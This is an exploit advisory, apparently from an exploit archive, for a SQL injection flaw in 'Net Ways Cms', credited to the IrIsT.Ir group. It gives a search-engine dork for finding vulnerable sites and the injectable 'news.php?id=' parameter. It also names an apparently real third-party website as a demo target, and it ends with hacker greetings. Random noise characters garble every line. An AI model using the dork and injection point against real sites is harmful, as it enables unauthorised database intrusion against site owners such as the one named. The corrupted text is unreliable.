################################################################################??########
& z( |5 V! T, Q; v#
o0 j) o& g$ ~) g. O; \1 m- r# Exploit Title : Net Ways Cms Sql Injection Vulnerability 7 h M% G, S; x c3 D! S# s
# ( V8 J; H8 A l1 J, ^
# Author : IrIsT.Ir ' d3 J5 Q) i+ V% R [$ P" `
#
$ c5 E' u- O% X" H) _ O8 `9 f4 @# Discovered By : Am!r
& V' k0 e5 H) |4 b6 H& s) L7 `#
8 `: g; y- Y$ R' f' f8 A# Home : http://IrIsT.Ir/forum
3 ]% e( U7 k/ i8 N) Y4 ]#
" }8 g& L4 c* ?: U# I- s% U- @; Z. ^; M0 Z# Software Link : http://www.netways.com/ www.political-security.com
, W4 G1 B) X$ V/ b( K9 Y#
6 p4 F" L4 M; ~9 J, m7 t0 J, Y( k# Security Risk : High ) e3 V. u& ?) j8 |4 o$ `; D7 H5 `0 X
#
4 f7 w* {7 E2 {* r; w) ?# Version : All Version
7 u1 b( p5 k$ t" O% Z; ?# 7 n6 r/ V$ H9 r7 F
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
3 _9 h. \! T0 Q, R6 j; Q#
, j8 I& [$ _ R+ I) L# Dork : intext:"Designed & developed by NetWays"
x2 K5 O" e/ @#
! b. s5 o z; \. M3 Z. ^8 Q; [( G################################################################################??########
0 D3 P- G- _( Z# i#
/ ~. q3 Q. F9 {3 r$ b# Expl0iTs : : z4 E; ` K/ i, T( M
#
- J d$ x: Z6 D4 O! G# http://target.com/news.php?id=[Sql]
}# k* `7 n1 {" H# e#
7 _5 z. M0 ~1 D+ M3 V1 ~0 n- p4 F* ?#
9 j- H- Y% ]" w5 X% {# D3mo : : w3 N: B A( R6 C% p4 T/ X! n" p
# 3 d$ b/ p$ ?" C/ _( @, \
# http://compagnieparento.com/news.php?id=7[Sql]
Z; B! H. \% _# @# ) ^4 D) h: p/ M' d" L! Q5 {
################################################################################??########
$ g) o$ a1 G9 ~; c' a4 b3 b' M# 2 E8 \9 G9 V* u: I
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
# m. `3 K" w" @#
$ i% g/ u7 N e: `; V# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r / V1 T) b R! i) l, h
# 6 T) t; q. j3 d
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum 5 |$ j. l* [" R) c0 i
# 7 Z3 ~. X# S6 z- l
################################################################################??######## |